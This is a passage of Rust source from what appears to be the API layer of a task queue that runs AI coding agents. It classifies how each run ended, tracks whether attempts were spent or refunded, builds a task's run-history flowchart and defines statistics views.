5340    Interrupted,
5341    Parked,
5342    QuotaStall,
5343    /// Stalled on a resumed pass with quota losses on record: they may be
5344    /// left over from an earlier pass, so whether this one was refunded is
5345    /// not knowable.
5346    ResumedQuotaStall,
5347    Merged,
5348    Ready,
5349    Superseded,
5350    /// The change was already on the base under other commits: the task
5351    /// finished without this run landing anything.
5352    AlreadyInBase,
5353    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5354    Stalled,
5355    /// Blocked / no-op with a pull request left open: held for a person.
5356    HeldWithPr,
5357    NoopHeld,
5358    /// Blocked or failed: the attempt is spent and the task retries or holds.
5359    Spent,
5360    InProgress,
5361}
5362
5363#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5364#[serde(rename_all = "snake_case")]
5365enum AttemptCost {
5366    Spent,
5367    Refunded,
5368    None,
5369    /// Cannot be told from the records that remain.
5370    Unknown,
5371}
5372
5373impl RunExit {
5374    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5375        let Some(s) = s else {
5376            return Self::Unreadable;
5377        };
5378        let status = s.status;
5379        if resumed_later {
5380            Self::Interrupted
5381        } else if s.parked {
5382            Self::Parked
5383        } else if !status.done() {
5384            Self::InProgress
5385        } else if matches!(status, RunStatus::Merged) {
5386            Self::Merged
5387        } else if matches!(status, RunStatus::Ready) {
5388            Self::Ready
5389        } else if matches!(status, RunStatus::Superseded) {
5390            Self::Superseded
5391        } else if matches!(status, RunStatus::AlreadyInBase) {
5392            Self::AlreadyInBase
5393        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5394            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5395        {
5396            if resumed {
5397                Self::ResumedQuotaStall
5398            } else {
5399                Self::QuotaStall
5400            }
5401        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5402            Self::HeldWithPr
5403        } else if matches!(status, RunStatus::VerifiedNoop) {
5404            Self::NoopHeld
5405        } else if matches!(status, RunStatus::Stalled) {
5406            Self::Stalled
5407        } else {
5408            Self::Spent
5409        }
5410    }
5411
5412    fn cost(self) -> AttemptCost {
5413        match self {
5414            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5415            Self::Merged
5416            | Self::Ready
5417            | Self::Stalled
5418            | Self::HeldWithPr
5419            | Self::NoopHeld
5420            | Self::Spent => AttemptCost::Spent,
5421            Self::InProgress => AttemptCost::None,
5422            Self::AlreadyInBase => AttemptCost::Refunded,
5423            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5424                AttemptCost::Unknown
5425            }
5426        }
5427    }
5428
5429    /// Short edge wording for leaving a run this way.
5430    fn edge_label(self, status: Option<&str>) -> String {
5431        match self {
5432            Self::Unreadable => "record unreadable".to_owned(),
5433            Self::Interrupted => "interrupted before the run finished".to_owned(),
5434            Self::Parked => "parked, attempt refunded".to_owned(),
5435            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5436            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5437            Self::Merged => "merged".to_owned(),
5438            Self::Ready => "ready, not merged".to_owned(),
5439            Self::Superseded => "superseded by a later attempt".to_owned(),
5440            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5441            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5442            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5443            Self::NoopHeld => "verified no-op".to_owned(),
5444            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5445            Self::InProgress => "in progress".to_owned(),
5446        }
5447    }
5448
5449    /// Does a task in `end` follow from a run that ended this way? When not,
5450    /// somebody closed or held the task by hand.
5451    fn explains(self, end: TaskStatus) -> bool {
5452        match self {
5453            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5454            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5455            Self::Unreadable | Self::Superseded | Self::Ready => true,
5456            _ => end != TaskStatus::Done,
5457        }
5458    }
5459}
5460
5461/// `GET /api/queue/{id}` - one task with every attempt it went through.
5462#[derive(Debug, Serialize)]
5463struct TaskDetailView {
5464    #[serde(flatten)]
5465    task: TaskView,
5466    /// Task override, or the default daemon budget when inherited.
5467    /// A separate loop's command-line limit is not visible from here.
5468    max_attempts: usize,
5469    history: Vec<TaskRunView>,
5470    /// Entries in `history`: passes over runs, not distinct runs and not
5471    /// attempts consumed (`task.attempts`).
5472    passes_total: usize,
5473    /// Distinct runs those passes belong to.
5474    runs_distinct: usize,
5475    flow: FlowView,
5476    /// Set for a follow-up task; see [`followup_origin`].
5477    followup_origin: Option<FollowUpOrigin>,
5478    /// How many entries of `history` could not be read.
5479    runs_unreadable: usize,
5480    /// Why the attempt count can be lower than the number of runs.
5481    attempts_note: &'static str,
5482}
5483
5484const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5485and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5486on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5487the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5488
5489/// The branch a review-only run reopened, read off the instruction
5490/// `Runner::open_review` writes.
5491fn review_branch_of(instruction: &str) -> Option<&str> {
5492    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5493    rest.split('`').next().filter(|b| !b.is_empty())
5494}
5495
5496/// Where an entry sits in a task's run list.
5497#[derive(Default)]
5498struct RunSlot<'a> {
5499    /// 1-based position.
5500    n: usize,
5501    /// The same run id appeared earlier: this pass resumed it.
5502    resumed: bool,
5503    /// Position of a later pass over the same run id, if any.
5504    resumed_later: Option<usize>,
5505    /// The previous distinct run and how it ended, for the retry note.
5506    prior: Option<(&'a str, RunStatus)>,
5507    last: bool,
5508    /// This pass as the run recorded it, when it did.
5509    pass: Option<&'a crate::run::RunPass>,
5510    /// What the task recorded when it settled this pass.
5511    settled: Option<&'a crate::queue::TaskPass>,
5512    /// 1-based position among the task's entries for this run, and their count.
5513    pass_n: usize,
5514    passes_of_run: usize,
5515}
5516
5517/// Describe one entry of a task's run list. Pure: everything it needs is on
5518/// the run and the task, so it is asserted without a server.
5519fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5520    let RunSlot {
5521        n,
5522        resumed,
5523        resumed_later,
5524        prior,
5525        last,
5526        pass,
5527        settled,
5528        pass_n,
5529        passes_of_run,
5530    } = at;
5531    let short = run::short_of(id).to_owned();
5532    let Some(s) = state else {
5533        return TaskRunView {
5534            n,
5535            id: id.to_owned(),
5536            short,
5537            kind: "unknown",
5538            status: None,
5539            readable: false,
5540            provisional: false,
5541            description:
5542                "This run's record could not be read by this build (written by a different \
5543                          magi, or removed), so what kind of attempt it was is unknown."
5544                    .to_owned(),
5545            outcome: String::new(),
5546            created_at: None,
5547            pr: None,
5548            exit: RunExit::Unreadable,
5549            attempt: AttemptCost::Unknown,
5550            exit_label: RunExit::Unreadable.edge_label(None),
5551            later_pass: resumed_later,
5552            pass_n,
5553            passes_of_run,
5554            pass: None,
5555            branch: None,
5556            badge: None,
5557        };
5558    };
5559    let branch = review_branch_of(&s.instruction);
5560    let kind = if resumed {
5561        "resume"
5562    } else if branch.is_some() {
5563        "review"
5564    } else if task.solo || s.candidates.len() == 1 {
5565        "solo"
5566    } else {
5567        "competition"
5568    };
5569    let mut description = match kind {
5570        "resume" => {
5571            format!("Resumed run {short}: the same run carried on instead of competing again.")
5572        }
5573        "review" => format!(
5574            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5575            branch.unwrap_or_default()
5576        ),
5577        "solo" => "Solo run: one implementer straight into review.".to_owned(),
5578        _ => format!(
5579            "Competition: {} candidates judged blind.",
5580            s.candidates.len().max(1)
5581        ),
5582    };
5583    if !resumed && let Some((p, st)) = prior {
5584        description.push_str(&format!(
5585            " A retry: run {p} before it ended {}.",
5586            st.display_label()
5587        ));
5588    }
5589
5590    let status = s.status;
5591    let provisional = matches!(status, RunStatus::Stalled)
5592        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5593    let head = if resumed_later.is_some() {
5594        String::new()
5595    } else {
5596        match status {
5597            RunStatus::Merged => "Merged.".to_owned(),
5598            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5599            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5600            RunStatus::AlreadyInBase => {
5601                "Already in the base: this change landed under other commits, nothing was left to land."
5602                    .to_owned()
5603            }
5604            RunStatus::Stalled => {
5605                "Stalled: the judging panel never reached a quorum, so there is no verdict."
5606                    .to_owned()
5607            }
5608            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5609            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5610            RunStatus::VerifiedNoop => {
5611                "Verified no-op: the candidates found nothing to change.".to_owned()
5612            }
5613            other if other.done() => format!("Ended {}.", other.display_label()),
5614            other => format!("In progress ({}).", other.display_label()),
5615        }
5616    };
5617    let view = pass.map(|p| PassView::of(p, settled));
5618    let recorded_end = view
5619        .as_ref()
5620        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5621    let cost_words = match view.as_ref().and_then(|v| v.cost) {
5622        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5623        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5624        None => "whether its attempt was handed back was not recorded",
5625    };
5626    let pass_note = if passes_of_run > 1 {
5627        format!(
5628            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5629        )
5630    } else {
5631        String::new()
5632    };
5633    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5634        // The run recorded this pass's end when it happened.
5635        let cause = match v.end {
5636            "parked" => format!("It was stopped on purpose: {}.", v.label),
5637            _ => format!("It {}.", v.label),
5638        };
5639        format!(
5640            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5641            capitalise(cost_words)
5642        )
5643    } else if let Some(k) = resumed_later {
5644        // A run is only picked up again while it is unfinished, so an earlier
5645        // pass of a repeated id stopped short; the record keeps only the run's
5646        // latest status, which is left to the pass that carried it on.
5647        // Only the latest state is recorded: `parked` is cleared on resume
5648        // and `quota` accumulates across passes, so neither says why *this*
5649        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5650        let cause = if s.quota.is_empty() {
5651            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5652        } else {
5653            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5654        };
5655        format!(
5656            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5657        )
5658    } else if s.parked {
5659        match recorded_end.and_then(|v| v.cause.as_ref()) {
5660            Some(cause) => format!(
5661                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5662                cause.label(),
5663                cost_words
5664            ),
5665            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5666                .to_owned(),
5667        }
5668    } else if !status.done()
5669        || matches!(
5670            status,
5671            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5672        )
5673    {
5674        String::new()
5675    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5676        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5677    {
5678        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5679            .to_owned()
5680    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5681        " It left a pull request open, so the task was held for a person rather than retried."
5682            .to_owned()
5683    } else if matches!(status, RunStatus::VerifiedNoop) {
5684        " Held for a person to check the claim.".to_owned()
5685    } else if last {
5686        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5687    } else {
5688        " It spent an attempt, and the task moved on to the next run.".to_owned()
5689    };
5690    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5691    let mut attempt = exit.cost();
5692    let mut exit_label = None;
5693    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5694        let spent = match v.cost {
5695            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5696            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5697            None if resumed_later.is_some() => ", refund not recorded",
5698            None => ", attempt refunded",
5699        };
5700        attempt = match v.cost {
5701            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5702            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5703            None if resumed_later.is_some() => AttemptCost::Unknown,
5704            None => attempt,
5705        };
5706        if v.end == "parked" {
5707            exit = RunExit::Parked;
5708            exit_label = Some(match v.cause.as_ref() {
5709                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5710                    format!("parked for {}{spent}", c.label())
5711                }
5712                Some(c) => format!("parked ({}){spent}", c.label()),
5713                None => format!("parked{spent}"),
5714            });
5715        } else {
5716            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5717        }
5718    }
5719    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5720    TaskRunView {
5721        n,
5722        id: id.to_owned(),
5723        short,
5724        kind,
5725        status: Some(status.as_str()),
5726        readable: true,
5727        provisional,
5728        description,
5729        outcome: format!("{head}{why}"),
5730        created_at: Some(s.created_at),
5731        pr: s.pr.as_ref().map(|p| p.url.clone()),
5732        exit,
5733        attempt,
5734        exit_label,
5735        later_pass: resumed_later,
5736        pass_n,
5737        passes_of_run,
5738        pass: view,
5739        branch: branch.map(str::to_owned),
5740        badge: None,
5741    }
5742}
5743
5744fn capitalise(s: &str) -> String {
5745    let mut c = s.chars();
5746    c.next().map_or_else(String::new, |f| {
5747        f.to_uppercase().collect::<String>() + c.as_str()
5748    })
5749}
5750
5751/// One box of the task's flowchart.
5752#[derive(Debug, Serialize, PartialEq)]
5753struct FlowNode {
5754    /// Unique by position: a resumed run id appears once per pass.
5755    key: String,
5756    /// `chat`, `followup`, `start`, `run` or `end`.
5757    kind: &'static str,
5758    label: String,
5759    /// Run status (or the task's, for `end`); `None` when it is not a fact
5760    /// about this box (unreadable, or a pass the run later resumed from).
5761    status: Option<&'static str>,
5762    /// Whose status `status` is, so the client picks the right colour table:
5763    /// `task` (the `followup` parent and `end`) or `run`.
5764    status_of: &'static str,
5765    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5766    note: Option<&'static str>,
5767    run_kind: Option<&'static str>,
5768    detail: Option<String>,
5769    /// A readable run with a real verdict; a stall never is.
5770    decided: bool,
5771    readable: bool,
5772    href: Option<String>,
5773    /// Overrides `status` as the badge word (`stale` / `superseded`).
5774    badge: Option<String>,
5775    /// Start of this entry, never the run's latest update or pass settlement.
5776    started_at: Option<Timestamp>,
5777    /// Context links (chat / follow-up) do not represent execution entries.
5778    time_expected: bool,
5779}
5780
5781#[derive(Debug, Serialize, PartialEq)]
5782struct FlowEdge {
5783    from: String,
5784    to: String,
5785    label: String,
5786    attempt: AttemptCost,
5787}
5788
5789#[derive(Debug, Serialize, PartialEq)]
5790struct FlowView {
5791    nodes: Vec<FlowNode>,
5792    edges: Vec<FlowEdge>,
5793    /// Attempts the task has counted since it was last released.
5794    attempts: usize,
5795    max_attempts: usize,
5796    /// Entries in the run list (passes), and how many distinct runs they are.
5797    /// Neither is the number of attempts consumed.
5798    passes: usize,
5799    runs: usize,
5800}
5801
5802/// Turn a task and its described runs into the flowchart's boxes and arrows.
5803/// Pure: the page only draws what this returns.
5804///
5805/// A follow-up opens with its parent (or the merged run) unless the task's
5806/// *source* is itself a chat, in which case the chat stays first and the
5807/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5808/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5809/// two normally do not coincide and the nearer origin wins.
5810fn task_flow(
5811    task: &Task,
5812    history: &[TaskRunView],
5813    max_attempts: usize,
5814    origin: Option<&FollowUpOrigin>,
5815) -> FlowView {
5816    let max_attempts = task.effective_attempt_limit(max_attempts);
5817    let node = |key: &str, kind, label: String| FlowNode {
5818        key: key.to_owned(),
5819        kind,
5820        label,
5821        status: None,
5822        status_of: "run",
5823        note: None,
5824        run_kind: None,
5825        detail: None,
5826        decided: false,
5827        readable: true,
5828        href: None,
5829        badge: None,
5830        started_at: None,
5831        time_expected: matches!(kind, "start" | "run" | "end"),
5832    };
5833    let mut nodes = Vec::new();
5834    let mut edges: Vec<FlowEdge> = Vec::new();
5835    // A task queued from a chat opens the flow with that conversation.
5836    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5837        let mut n = node(
5838            "chat",
5839            "chat",
5840            format!("Chat {}", crate::queue::short(&link.id)),
5841        );
5842        n.href = Some(link.href);
5843        nodes.push(n);
5844        edges.push(FlowEdge {
5845            from: "chat".to_owned(),
5846            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5847            label: "queued from chat".to_owned(),
5848            attempt: AttemptCost::None,
5849        });
5850    }
5851    if let Some(o) = origin {
5852        let mut n = match &o.parent {
5853            Some(p) => {
5854                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5855                n.status = Some(p.status);
5856                n.status_of = "task";
5857                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5858                n.href = Some(p.href.clone());
5859                n
5860            }
5861            None => {
5862                let mut n = node(
5863                    "origin",
5864                    "followup",
5865                    format!("Follow-up of run {}", o.run.short),
5866                );
5867                n.detail = Some("merged run".to_owned());
5868                n.status = o.run.status;
5869                n.href = o.run.href.clone();
5870                if o.run.href.is_none() {
5871                    n.readable = false;
5872                    n.note = Some("unreadable");
5873                }
5874                n
5875            }
5876        };
5877        n.decided = true;
5878        let from = n.key.clone();
5879        nodes.push(n);
5880        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5881        let more = o.findings.len().saturating_sub(shown.len());
5882        let label = match (shown.is_empty(), more) {
5883            (true, _) => "open findings".to_owned(),
5884            (false, 0) => format!("open findings {}", shown.join(", ")),
5885            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5886        };
5887        edges.push(FlowEdge {
5888            from,
5889            to: "start".to_owned(),
5890            label,
5891            attempt: AttemptCost::None,
5892        });
5893    }
5894    let mut start = node("start", "start", "Task queued".to_owned());
5895    start.started_at = Some(task.created_at);
5896    nodes.push(start);
5897    let mut prev = "start".to_owned();
5898    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5899    for (i, h) in history.iter().enumerate() {
5900        let key = format!("run-{}", h.n);
5901        let mut n = node(&key, "run", format!("Run {}", h.short));
5902        // Creation marks only the first pass of legacy runs. A resumed pass
5903        // without a record must not inherit the original run's start time.
5904        n.started_at = h
5905            .readable
5906            .then(|| {
5907                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5908                    h.created_at
5909                } else {
5910                    None
5911                })
5912            })
5913            .flatten();
5914        n.run_kind = Some(h.kind);
5915        n.readable = h.readable;
5916        n.href = Some(format!("#/runs/{}", h.id));
5917        n.decided = h.readable && !h.provisional;
5918        n.detail = h
5919            .branch
5920            .as_ref()
5921            .map(|b| format!("review-only run of branch {b}"));
5922        match h.exit {
5923            RunExit::Unreadable => n.note = Some("unreadable"),
5924            RunExit::Interrupted => n.note = Some("interrupted"),
5925            // An earlier pass the run recorded as parked: the status shown
5926            // would be the run's current one, not this pass's.
5927            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5928            _ => {
5929                n.status = h.status;
5930                n.badge = h.badge.clone();
5931                if h.provisional {
5932                    n.note = Some("no verdict");
5933                }
5934            }
5935        }
5936        let into = match h.kind {
5937            "review" => Some(format!(
5938                "review-only run of branch {}",
5939                h.branch.as_deref().unwrap_or("?")
5940            )),
5941            "resume" => Some("resume the same run".to_owned()),
5942            _ if i > 0 => Some("retry".to_owned()),
5943            _ => None,
5944        };
5945        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5946        let label = match (prev_exit, into) {
5947            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5948            (Some((_, l, _)), None) => l,
5949            (None, Some(i)) => i,
5950            (None, None) => "claimed".to_owned(),
5951        };
5952        edges.push(FlowEdge {
5953            from: prev.clone(),
5954            to: key.clone(),
5955            label,
5956            attempt,
5957        });
5958        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5959        prev = key;
5960        nodes.push(n);
5961    }
5962    let mut end = node("end", "end", task.status.as_str().to_owned());
5963    end.status = Some(task.status.as_str());
5964    end.status_of = "task";
5965    // Other task states do not persist their transition start. In particular,
5966    // blocked_at can change while the task remains blocked.
5967    if task.status == TaskStatus::Held {
5968        end.started_at = task.held_at;
5969    }
5970    nodes.push(end);
5971    let (label, attempt) = match prev_exit {
5972        None => (
5973            format!("no run yet \u{2192} {}", task.status.as_str()),
5974            AttemptCost::None,
5975        ),
5976        Some((e, l, cost)) if e.explains(task.status) => {
5977            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5978        }
5979        Some((_, _, cost)) => (
5980            format!("closed by hand: task is {}", task.status.as_str()),
5981            cost,
5982        ),
5983    };
5984    edges.push(FlowEdge {
5985        from: prev,
5986        to: "end".to_owned(),
5987        label,
5988        attempt,
5989    });
5990    FlowView {
5991        nodes,
5992        edges,
5993        attempts: task.attempts,
5994        max_attempts,
5995        passes: history.len(),
5996        runs: distinct_runs(&task.runs),
5997    }
5998}
5999
6000/// How many different run ids a task's run list names.
6001fn distinct_runs(runs: &[String]) -> usize {
6002    let mut seen: Vec<&str> = Vec::new();
6003    for r in runs {
6004        if !seen.contains(&r.as_str()) {
6005            seen.push(r);
6006        }
6007    }
6008    seen.len()
6009}
6010
6011/// Describe recorded task passes, retaining unrecorded legacy list entries.
6012fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6013    let mut slots = Vec::new();
6014    let mut seen = Vec::new();
6015    for run_id in &task.runs {
6016        if seen.contains(&run_id) {
6017            continue;
6018        }
6019        seen.push(run_id);
6020        let state = read(run_id);
6021        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6022            s.passes
6023                .iter()
6024                .filter(|p| {
6025                    p.task_entry
6026                        || task
6027                            .passes
6028                            .iter()
6029                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6030                })
6031                .cloned()
6032                .collect()
6033        });
6034        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6035        let total = legacy_count.max(mine.len());
6036        let offset = total - mine.len();
6037        for k in 0..total {
6038            // Legacy repeated entries retain their original positions. When
6039            // ids are unique, recorded pass times recover the resume order.
6040            let position = task
6041                .runs
6042                .iter()
6043                .enumerate()
6044                .filter(|(_, r)| *r == run_id)
6045                .nth(k.min(legacy_count - 1))
6046                .unwrap()
6047                .0;
6048            slots.push((
6049                run_id,
6050                state.clone(),
6051                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6052                position,
6053            ));
6054        }
6055    }
6056    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6057        slots.sort_by_key(|(_, state, pass, _)| {
6058            pass.as_ref()
6059                .map(|p| p.started_at)
6060                .or_else(|| state.as_ref().map(|s| s.created_at))
6061                .map_or((true, task.created_at), |at| (false, at))
6062        });
6063    } else {
6064        slots.sort_by_key(|(_, _, _, position)| *position);
6065    }
6066    let mut history = Vec::with_capacity(slots.len());
6067    let mut seen: Vec<&str> = Vec::new();
6068    let mut prior: Option<(&str, RunStatus)> = None;
6069    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6070        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6071        let resumed = k > 0;
6072        seen.push(run_id);
6073        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6074        let pass = pass.as_ref();
6075        let settled = pass.and_then(|p| {
6076            task.passes
6077                .iter()
6078                .find(|t| t.run == **run_id && t.pass_index == p.index)
6079        });
6080        history.push(task_run_view(
6081            run_id,
6082            state.as_ref(),
6083            RunSlot {
6084                n: i + 1,
6085                resumed,
6086                resumed_later: slots[i + 1..]
6087                    .iter()
6088                    .position(|(id, _, _, _)| id == run_id)
6089                    .map(|off| i + off + 2),
6090                prior,
6091                last: i + 1 == slots.len(),
6092                pass,
6093                settled,
6094                pass_n: k + 1,
6095                passes_of_run: total,
6096            },
6097            task,
6098        ));
6099        if let Some(s) = &state {
6100            prior = Some((run::short_of(run_id), s.status));
6101        }
6102    }
6103    history
6104}
6105
6106/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6107/// An earlier pass of a resumed run keeps no badge (it has no status box).
6108fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6109    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6110        return;
6111    }
6112    let (_, claimed, _) = run_row_inputs(ui);
6113    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6114    for h in history
6115        .iter_mut()
6116        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6117    {
6118        let Ok(state) = read_run(&ui.runs, &h.id) else {
6119            continue;
6120        };
6121        if state.status.done() {
6122            continue;
6123        }
6124        let live = state.liveness_with(
6125            claimed.contains(&h.id),
6126            |p| probe.borrow_mut().status(p),
6127            |p| probe.borrow_mut().started_at(p),
6128        );
6129        let waiting = !ui.questions.open_for(&h.id).is_empty();
6130        let display = run_display_status(&state, waiting, live);
6131        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6132        if matches!(word.as_str(), "stale" | "superseded")
6133            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6134        {
6135            h.badge = Some(word);
6136        }
6137    }
6138}
6139
6140async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6141    blocking(move || {
6142        let id = resolve_task(&ui.queue, &id)?;
6143        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6144    })
6145    .await
6146}
6147
6148async fn task_detail(
6149    State(ui): State<Arc<Ui>>,
6150    Path(id): Path<String>,
6151) -> ApiResult<Json<TaskDetailView>> {
6152    blocking(move || {
6153        let id = resolve_task(&ui.queue, &id)?;
6154        let task = ui
6155            .queue
6156            .get(&id)
6157            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6158        let inv = if task.status == TaskStatus::Blocked {
6159            Some(crate::blockers::Inventory::load_for(
6160                &ui.queue,
6161                &ui.questions,
6162                &task,
6163            ))
6164        } else {
6165            None
6166        };
6167        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6168        mark_badges(&ui, &task, &mut history);
6169        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6170        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6171        let origin = task.followup.as_ref().map(|fu| {
6172            followup_origin(
6173                fu,
6174                |tid| ui.queue.get(tid).ok(),
6175                |rid| read_run(&ui.runs, rid).ok(),
6176            )
6177        });
6178        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6179        let task_view = match inv.as_ref() {
6180            Some(inv) => TaskView::with_inventory(task, inv),
6181            None => TaskView::from(task),
6182        };
6183        Ok(Json(TaskDetailView {
6184            max_attempts,
6185            flow,
6186            followup_origin: origin,
6187            passes_total: history.len(),
6188            runs_distinct: distinct_runs(&task_view.task.runs),
6189            history,
6190            runs_unreadable,
6191            attempts_note: ATTEMPTS_NOTE,
6192            task: task_view,
6193        }))
6194    })
6195    .await
6196}
6197
6198/// A rate together with its denominator, so the client can tell "computed as
6199/// 0%" apart from "no data to compute it from" — both would otherwise
6200/// serialize as `0.0`. `None` means the denominator was zero.
6201#[derive(Debug, Serialize)]
6202struct RateView {
6203    pct: f64,
6204    denominator: usize,
6205}
6206
6207impl RateView {
6208    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6209        (denominator > 0).then(|| Self {
6210            pct: 100.0 * numerator as f64 / denominator as f64,
6211            denominator,
6212        })
6213    }
6214}
6215
6216/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6217/// rates, each paired with its own denominator via [`RateView`] rather than
6218/// exposing `Stats`' own percentage methods directly — see this module's
6219/// doc for why `Stats` itself is never serialized.
6220#[derive(Debug, Serialize)]
6221struct StatsTotalsView {
6222    runs: usize,
6223    merged: usize,
6224    ready: usize,
6225    blocked: usize,
6226    failed: usize,
6227    stalled: usize,
6228    verified_noop: usize,
6229    superseded: usize,
6230    in_progress: usize,
6231    completion_rate: Option<RateView>,
6232    tallied: usize,
6233    split: usize,
6234    split_rate: Option<RateView>,
6235    deliberated: usize,
6236    minds_changed: usize,
6237    converged: usize,
6238    review_rounds: usize,
6239}
6240
6241impl From<&stats::Totals> for StatsTotalsView {
6242    fn from(t: &stats::Totals) -> Self {
6243        Self {
6244            runs: t.runs,
6245            merged: t.merged,
6246            ready: t.ready,
6247            blocked: t.blocked,
6248            failed: t.failed,
6249            stalled: t.stalled,
6250            verified_noop: t.verified_noop,
6251            superseded: t.superseded,
6252            in_progress: t.in_progress,
6253            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6254            tallied: t.tallied,
6255            split: t.split,
6256            split_rate: RateView::of(t.split, t.tallied),
6257            deliberated: t.deliberated,
6258            minds_changed: t.minds_changed,
6259            converged: t.converged,
6260            review_rounds: t.review_rounds,
6261        }
6262    }
6263}
6264
6265/// [`crate::stats::AgentStats`] for the wire.
6266#[derive(Debug, Serialize)]
6267struct AgentStatsView {
6268    agent: String,
6269    entered: usize,
6270    wins: usize,
6271    empty: usize,
6272    win_rate: Option<RateView>,
6273    competitive_entered: usize,
6274    competitive_wins: usize,
6275    competitive_win_rate: Option<RateView>,
